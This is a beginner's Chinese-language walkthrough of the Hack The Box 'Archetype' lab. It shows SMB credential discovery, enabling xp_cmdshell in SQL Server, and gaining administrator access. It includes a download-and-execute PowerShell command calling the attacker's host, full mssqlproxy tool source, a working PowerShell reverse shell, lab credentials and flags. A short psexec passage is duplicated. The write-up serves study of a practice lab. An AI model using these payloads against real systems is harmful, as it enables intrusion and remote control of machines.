Archetype靶场攻击
前言
本人新人小白一枚,最近在打hack the box的靶场,最近一段时间会持续更新打靶场的文章,文章中有描述不清的还请见亮,也欢迎打靶场的过程中遇到问题的朋友们一起探讨交流。
信息收集
扫描开放端口,使用如下命令:
nmap -Ss -F -sV 10.10.10.27
参 数 | 说 明 |
---|---|
-sT | TCP connect()扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息。 |
-sS | 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限。 |
-sF -sN | 秘密FIN数据包扫描、Xmas Tree、Null扫描模式 |
-sP | ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。 |
-sU | UDP扫描,但UDP扫描是不可靠的 |
-sA | 这项高级的扫描方法通常用来穿过防火墙的规则集 |
-sV | 探测端口服务版本 |
-Pn | 扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描 |
-v | 显示扫描过程,推荐使用 |
-h | 帮助选项,是最清楚的帮助文档 |
-p | 指定端口,如“1-65535、1433、135、22、80”等 |
-O | 启用远程操作系统检测,存在误报 |
-A | 全面系统检测、启用脚本检测、扫描等 |
-oN/-oX/-oG | 将报告写入文件,分别是正常、XML、grepable 三种格式 |
-T4 | 针对TCP端口禁止动态扫描延迟超过10ms |
-iL | 读取主机列表,例如,“-iL C:\ip.txt” |
-F | 快速扫描 |
- 扫描指定IP所开放的端口:nmap -sS -p 1-65535 -v XXX.XXX.XXX.XXX
- 扫描C段存活主机:nmap -sP XXX.XXX.XXX.XXX/24
- 指定端口扫描:nmap -p 80,1433,22,1521 XXX.XXX.XXX.XXX
- 探测主机操作系统:nmap -o XXX.XXX.XXX.XXX
- 全面的系统探测:nmap -v -A XXX.XXX.XXX.XXX(Nmap默认扫描主机1000个高危端口)
- 探测指定网段:nmap XXX.XXX.XXX.XXX-XXX
- 穿透防火墙进行扫描:nmap -Pn -A XXX.XXX.XXX.XXX(XXX.XXX.XXX.XXX禁止用ping的)
- 使用脚本,扫描Web敏感目录:nmap -p 80 --script=http-enum.nse XXX.XXX.XXX.XXX
根据扫描结果可以看到10.10.10.27开放了135、139、445、1433端口,其中1433是SQL Server数据库默认使用的端口,445是文件共享协议(SMB)默认使用的端口。
测试445端口
测试445端口的SMB服务是否支持匿名访问,没有经过权限配置可能默认允许所有人无需身份认证来匿名访问共享资源,使用smbclient来访问samba服务器的共享资源:
smbclient -N -L //10.10.10.27/
可以看到共享资源中存在一个backups文件夹,接着使用
smbclient -N //10.10.10.27/backups
通过使用dir可以看到存在一个名为prod.dtsConfig的文件
使用get命令可以将文件下载到本地
使用cat或者vim命令对此文件进行查看,可以发现存在一个User ID为ARCHETYPE\sql_svc、密码为M3g4c0rp123的用户凭据,其中sql_svc为具有数据库登录权限的操作系统名
连接数据库
由于kali中默认自带的是python2,所以需要下载个python3
先下载个python3的tar包
wget https://www.python.org/ftp/python/3.8.0/Python-3.8.0.tgz
下载完之后就在当前目录下解压
tar -zxvf Python-3.8.0.tgz
cd进入到configure目录下执行
./configure --enable-optimizations --prefix=/usr/local/Python3/ && make && make install
接下来需要用到一个名为mssqlclient.py的程序连接数据库,程序代码附尾页。
输入之前获取到的用户凭证进行登录
成功登录之后可以通过输入以下命令判断当前时候拥有sysadmin权限:
SELECT IS_SRVROLEMEMBER('sysadmin')
1代表true,代表true,说明当前用户具有sysadmin权限,能够在靶机上使用SQL Server的xp_cmdshell
来进行远程代码执行。
获取普通用户权限
先使用sp_configure命令查看下配置情况,如果配置表里没有xp_cmdshell一栏,使用如下命令。
EXEC sp_configure 'Show Advanced Options', 1; \\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
reconfigure; \\确认上面操作
再用sp_configure 命令查看下此时的xp_cmdshell命令是否被允许使用,如值为0使用如下命令。
EXEC sp_configure 'xp_cmdshell', 1 \\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
reconfigure; \\确认上面的操作
尝试执行下系统命令:
可以看到执行成功了,此时我们拥有了数据库的shell,也可以使用部分操作系统的命令,但是需要一个直接的操作系统shell来进行后续的操作。
建立一个powershell的反向shell文件,代码附尾页。
在kali中利用python搭建一个迷你的http服务器,方便从对方主机连接过来下载本地主机的文件。
python3 -m http.server 80
注:在这一步中遇到了个小问题,建立服务器的时候报错地址正在使用中
解决办法:查看下当前占用80端口的服务
netstat -apn | grep 80
可以发现此时是nginx服务占用了80端口,pid为4039
再查看下是哪个用户占用了80端口
ps -ef | grep 80
之后就可以关掉80端口相应的进程了
kill -9 PID
关掉之前的服务后再开启新的http服务就好使了
在kali中启动netcat监听443端口,等待靶机反向shell连接(端口号可以更改,只要个shell.sp1对应就行)
nc -nvvlp 443
接下来回到数据库中执行命令:
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.32/shell.ps1\");"
注:这一步中出现的问题为反弹shell连接不上,使用数据库执行ping本地的ip不能ping通,而用本地实体机连接就能成功。
经过反复试坑,发现了问题所在,本地主机和本地虚拟机是处于同一网段,连接的同一路由器,而和10.10.10.27不处于同一网段中,所以不能连接上。那么虚拟机是如何与hackthebox的虚拟服务器建立的连接的呢?思考过后发现是VPN的问题,再重新ifconfig后发现了建立vpn之后连接的同一网段的ip地址。
此时再在数据库中执行如上命令:
可以看到建立连接成功。
之后输入如下命令:
type C:\Users\sql_svc\Desktop\user.txt
即可拿到需要提交的flag:3e7b102e78218e935bf3f4951fec21a3
提权
使用如下命令查看powershell历史记录
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
发现administrator用户登录后将共享文件夹\Archetype\backups映射到T盘,后面是administrator用户名和它的密码,可以使用Impacket中的psexec.py
来提权:
psexec.py administrator@10.10.10.27
输入密码后刚才获取的密码即可提权成功
之后可以获得管理员的flag:
type C:\Users\Administrator\Desktop\root.txt
administrator用户名和它的密码,可以使用Impacket中的psexec.py
来提权:
psexec.py administrator@10.10.10.27
输入密码后刚才获取的密码即可提权成功
之后可以获得管理员的flag:
type C:\Users\Administrator\Desktop\root.txt
flag为:b91ccec3305e98240082d4474b848528
mssqlclient.py
#!/usr/bin/env python
#
# Copyright (c) 2020 BlackArrow
#
#
# This product includes software developed by
# SecureAuth Corporation (https://www.secureauth.com/).
#
# Description: [MS-TDS] & [MC-SQLR] example.
#
# Original author:
# Alberto Solino (beto@coresecurity.com/@agsolino)
#
# Author:
# Pablo Martinez (https://twitter.com/xassiz)
#
from __future__ import division
from __future__ import print_function
import argparse
import sys
import os
import logging
import socket
import thread
import select
from impacket.examples import logger
from impacket import version, tds
# Proxy config
MSG_END_OF_TRANSIMISSION = "\x31\x41\x59\x26\x53\x58\x97\x93\x23\x84"
MSG_EXIT_CMD = "\x12\x34\x56"
MSG_EXIT_ACK = "\x65\x43\x21"
ASSEMBLY_NAME = "Microsoft.SqlServer.Proxy"
PROCEDURE_NAME = "sp_start_proxy"
def set_configuration(mssql, option, value):
mssql.batch("exec master.dbo.sp_configure '%s',%d; RECONFIGURE;" % (option, value))
return check_configuration(mssql, option, value)
def check_configuration(mssql, option, value):
try:
res = mssql.batch("SELECT cast(value as INT) as v FROM sys.configurations where name = '%s'" % option)[0]['v']
return res == value
except:
return False
def file_exists(mssql, path):
try:
res = mssql.batch("DECLARE @r INT; EXEC master.dbo.xp_fileexist '%s', @r OUTPUT; SELECT @r as n" % path)[0]['n']
return res == 1
except:
return False
def proxy_install(mssql, args):
logging.info("Proxy mode: install")
if set_configuration(mssql, 'show advanced options', 1) == False:
logging.error("Cannot enable 'show advanced options'")
return
if set_configuration(mssql, 'clr enabled', 1) == False:
logging.error("Cannot enable CLR")
return
else:
logging.info("CLR enabled")
with open(args.clr, 'rb') as f:
data = f.read().encode('hex')
mssql.batch("USE msdb; CREATE ASSEMBLY [%s] FROM 0x%s WITH PERMISSION_SET = UNSAFE" % (ASSEMBLY_NAME, data))
res = mssql.batch("USE msdb; SELECT COUNT(*) AS n FROM sys.assemblies where name = '%s'" % ASSEMBLY_NAME)[0]['n']
if res == 1:
logging.info("Assembly successfully installed")
mssql.batch("CREATE PROCEDURE [dbo].[%s]"
" @path NVARCHAR (4000), @client_addr NVARCHAR (4000), @client_port INTEGER"
" AS EXTERNAL NAME [%s].[StoredProcedures].[sp_start_proxy]" % (PROCEDURE_NAME, ASSEMBLY_NAME))
res = mssql.batch("SELECT COUNT(*) AS n FROM sys.procedures where name = '%s'" % PROCEDURE_NAME)[0]['n']
if res == 1:
logging.info("Procedure successfully installed")
else:
logging.error("Cannot install procedure")
else:
logging.error("Cannot install assembly")
def proxy_uninstall(mssql, args):
logging.info("Proxy mode: uninstall")
res = mssql.batch("USE msdb; DROP PROCEDURE [%s]; SELECT COUNT(*) AS n FROM sys.procedures where name = '%s' " % (PROCEDURE_NAME, PROCEDURE_NAME))[0]['n']
if res == 0:
logging.info("Procedure successfully uninstalled")
else:
logging.error("Cannot uninstall procedure")
res = mssql.batch("DROP ASSEMBLY [%s]; SELECT COUNT(*) AS n FROM sys.assemblies where name = '%s' " % (ASSEMBLY_NAME, ASSEMBLY_NAME))[0]['n']
if res == 0:
logging.info("Assembly successfully uninstalled")
else:
logging.error("Cannot uninstall assembly")
if set_configuration(mssql, 'show advanced options', 1) == False:
logging.error("Cannot enable 'show advanced options'")
else:
if set_configuration(mssql, 'clr enabled', 0) == False:
logging.error("Cannot disable CLR")
else:
logging.info("CLR disabled")
def proxy_check(mssql, args):
success = True
logging.info("Proxy mode: check")
res = mssql.batch("USE msdb; SELECT COUNT(*) AS n FROM sys.assemblies where name = '%s'" % ASSEMBLY_NAME)[0]['n']
if res == 1:
logging.info("Assembly is installed")
else:
success = False
logging.error("Assembly not found")
res = mssql.batch("SELECT COUNT(*) AS n FROM sys.procedures where name = '%s'" % PROCEDURE_NAME)[0]['n']
if res == 1:
logging.info("Procedure is installed")
else:
success = False
logging.error("Procedure not found")
if file_exists(mssql, args.reciclador):
logging.info("reciclador is installed")
else:
success = False
logging.error("reciclador not found")
if check_configuration(mssql, 'clr enabled', 1):
logging.info("clr enabled")
else:
success = False
logging.error("clr disabled")
return success
def proxy_worker(server, client):
logging.info("New connection")
client.setblocking(0)
while True:
readable, writable, errfds = select.select([client, server], [], [], 60)
for sock in readable:
if sock is client:
data = client.recv(2048)
if len(data) == 0:
logging.info("Client disconnected!")
logging.debug("Sending end-of-tranmission")
server.sendall(MSG_END_OF_TRANSIMISSION)
return
logging.debug("Client: %s" % data.encode('hex'))
server.sendall(data)
elif sock is server:
data = server.recv(2048)
if len(data) == 0:
logging.info("Server disconnected!")
return
logging.debug("Server: %s" % data.encode('hex'))
client.sendall(data)
def proxy_start(mssql, args):
if not proxy_check(mssql, args):
return
logging.info("Proxy mode: start")
laddr, lport = mssql.socket.getsockname()
if args.no_check_src_port:
lport = 0
logging.info("Connection is not direct")
else:
logging.debug("Local addr = %s:%d" % (laddr, lport))
local_port = getattr(args, 'local_port')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind(("0.0.0.0", local_port))
except Exception as err:
logging.error("Error: '%s'" % err)
return
logging.info("Listening on port %d..." % local_port)
try:
mssql.batch("DECLARE @ip varchar(15); SET @ip=TRIM(CONVERT(char(15), CONNECTIONPROPERTY('client_net_address')));"
"EXEC msdb.dbo.%s '%s', @ip, %d" % (PROCEDURE_NAME, args.reciclador, lport), tuplemode=False, wait=False)
data = mssql.socket.recv(2048)
if 'Powered by blackarrow.net' in data:
logging.info("ACK from server!")
mssql.socket.sendall("ACK")
else:
logging.error("cannot establish connection")
raise Exception('cannot establish connection')
s.listen(10)
while True:
client, _ = s.accept()
thread.start_new_thread(proxy_worker, (mssql.socket, client))
except:
mssql.socket.sendall(MSG_EXIT_CMD)
ack = mssql.socket.recv(1024)
if MSG_EXIT_ACK in ack:
logging.info("Bye!")
else:
logging.error("Server did not ack :(")
return
if __name__ == '__main__':
import cmd
class SQLSHELL(cmd.Cmd):
def __init__(self, SQL):
cmd.Cmd.__init__(self)
self.sql = SQL
self.prompt = 'SQL> '
self.intro = '[!] Press help for extra shell commands'
def do_help(self, line):
print("""
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
! {cmd} - executes a local shell cmd
download {remote} {local} - download a remote file to a local path
upload {local} {remote} - upload a local file to a remote path (OLE required)
enable_ole - you know what it means
disable_ole - you know what it means
""")
def do_download(self, params):
try:
remote, local = params.split(' ')
except:
logging.error("download: invalid params")
return
print("[+] Downloading '%s' to '%s'..." % (remote, local))
try:
self.sql.sql_query("SELECT * FROM OPENROWSET(BULK N'%s', SINGLE_BLOB) rs" % remote)
data = self.sql.rows[0]['BulkColumn']
with open(local, 'wb') as f:
f.write(data.decode('hex'))
print("[+] Download completed")
except:
pass
def do_upload(self, params):
try:
local, remote = params.split(' ')
except:
logging.error("upload: invalid params")
return
if check_configuration(self.sql, 'Ole Automation Procedures', 0):
if self.do_enable_ole(None) == False:
return
print("[+] Uploading '%s' to '%s'..." % (local, remote))
try:
with open(local, 'rb') as f:
data = f.read()
print("[+] Size is %d bytes" % len(data))
hexdata = "0x%s" % data.encode('hex')
self.sql.sql_query("DECLARE @ob INT;"
"EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;"
"EXEC sp_OASetProperty @ob, 'Type', 1;"
"EXEC sp_OAMethod @ob, 'Open';"
"EXEC sp_OAMethod @ob, 'Write', NULL, %s;"
"EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '%s', 2;"
"EXEC sp_OAMethod @ob, 'Close';"
"EXEC sp_OADestroy @ob;" % (hexdata, remote))
if file_exists(self.sql, remote):
print("[+] Upload completed")
else:
print("[-] Error uploading")
except:
print("[-] Error uploading")
pass
def do_enable_ole(self, line):
try:
if set_configuration(self.sql, 'show advanced options', 1) == False:
logging.error("cannot enable 'show advanced options'")
return False
if set_configuration(self.sql, 'Ole Automation Procedures', 1) == False:
logging.error("cannot enable 'Ole Automation Procedures'")
return False
except:
return True
def do_disable_ole(self, line):
try:
if set_configuration(self.sql, 'show advanced options', 1) == False:
logging.error("cannot enable 'show advanced options'")
return False
if set_configuration(self.sql, 'Ole Automation Procedures', 0) == False:
logging.error("cannot disable 'Ole Automation Procedures'")
return False
except:
return True
def do_shell(self, s):
os.system(s)
def do_xp_cmdshell(self, s):
try:
self.sql.sql_query("exec master..xp_cmdshell '%s'--sp_password" % s)
self.sql.printReplies()
self.sql.colMeta[0]['TypeData'] = 80*2
self.sql.printRows()
except:
pass
def sp_start_job(self, s):
try:
self.sql.sql_query("DECLARE @job NVARCHAR(100);"
"SET @job='IdxDefrag'+CONVERT(NVARCHAR(36),NEWID());"
"EXEC msdb..sp_add_job @job_name=@job,@description='INDEXDEFRAG',"
"@owner_login_name='sa',@delete_level=3;"
"EXEC msdb..sp_add_jobstep @job_name=@job,@step_id=1,@step_name='Defragmentation',"
"@subsystem='CMDEXEC',@command='%s',@on_success_action=1;"
"EXEC msdb..sp_add_jobserver @job_name=@job;"
"EXEC msdb..sp_start_job @job_name=@job;" % s)
self.sql.printReplies()
self.sql.printRows()
except:
pass
def do_lcd(self, s):
if s == '':
print(os.getcwd())
else:
os.chdir(s)
def do_enable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;"
"exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
def do_disable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure "
"'show advanced options', 0 ;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
def default(self, line):
try:
self.sql.sql_query(line)
self.sql.printReplies()
self.sql.printRows()
except:
pass
def emptyline(self):
pass
def do_exit(self, line):
return True
# Init the example's logger theme
logger.init()
print(version.BANNER)
print("mssqlproxy - Copyright 2020 BlackArrow")
parser = argparse.ArgumentParser(add_help = True, description = "TDS client implementation (SSL supported).")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)')
parser.add_argument('-db', action='store', help='MSSQL database instance (default None)')
parser.add_argument('-windows-auth', action='store_true', default = 'False', help='whether or not to use Windows '
'Authentication (default False)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
# Proxy mode arguments
group = parser.add_argument_group('proxy mode')
group.add_argument('-reciclador', action="store", metavar = "path", help='Remote path where DLL is stored in server')
group.add_argument('-install', action="store_true", help='Installs CLR assembly')
group.add_argument('-uninstall', action="store_true", help='Uninstalls CLR assembly')
group.add_argument('-check', action="store_true", help='Checks if CLR is ready')
group.add_argument('-start', action="store_true", help='Starts proxy')
group.add_argument('-local-port', action="store", metavar = "port", type=int, default=1337, help='Local port to listen on')
group.add_argument('-clr', action="store", metavar="local_path", help='Local CLR path')
group.add_argument('-no-check-src-port', action="store_true", help='Use this option when connection is not direct (e.g. proxy)')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
# If proxy params
if any(getattr(options, l) for l in ['reciclador', 'install', 'uninstall', 'check', 'start', 'clr']):
proxy_mode = True
if sum((options.install, options.uninstall, options.check, options.start)) != 1:
logging.error("please, choose one of the following actions: install, uninstall, check, start")
sys.exit(1)
if (options.start or options.check) and not options.reciclador:
logging.error("reciclador path is mandatory")
sys.exit(1)
if options.install and not options.clr:
logging.error("CLR path is mandatory")
sys.exit(1)
else:
proxy_mode = False
ms_sql = tds.MSSQL(address, int(options.port))
ms_sql.connect()
try:
if options.k is True:
res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey,
kdcHost=options.dc_ip)
else:
res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth)
ms_sql.printReplies()
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error(str(e))
res = False
if res is True:
# If proxy mode
if proxy_mode:
proxy_opt = {
'install' : proxy_install,
'uninstall': proxy_uninstall,
'check' : proxy_check,
'start' : proxy_start
}
opt = next(mode for mode in proxy_opt.keys() if getattr(options, mode))
proxy_opt[opt](ms_sql, options)
# Shell mode
else:
shell = SQLSHELL(ms_sql)
if options.file is None:
shell.cmdloop()
else:
for line in options.file.readlines():
print("SQL> %s" % line, end=' ')
shell.onecmd(line)
ms_sql.disconnect()
shell.ps1
$client = New-Object System.Net.Sockets.TCPClient("ip地址",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()